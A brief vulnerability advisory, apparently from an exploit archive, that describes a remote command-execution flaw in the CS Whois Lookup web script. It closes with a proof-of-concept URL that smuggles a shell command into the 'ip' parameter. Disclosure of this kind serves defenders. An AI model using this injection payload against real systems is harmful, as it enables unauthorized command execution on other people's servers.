CS Whois Lookup - 'ip' Remote Command Execution

source: https://www.securityfocus.com/bid/34700/info

CS Whois Lookup is prone to a remote command-execution vulnerability because the software fails to adequately sanitize user-supplied input.

Successful attacks can compromise the affected software and possibly the computer.

http://www.example.com/path/index.php?ip=||whoami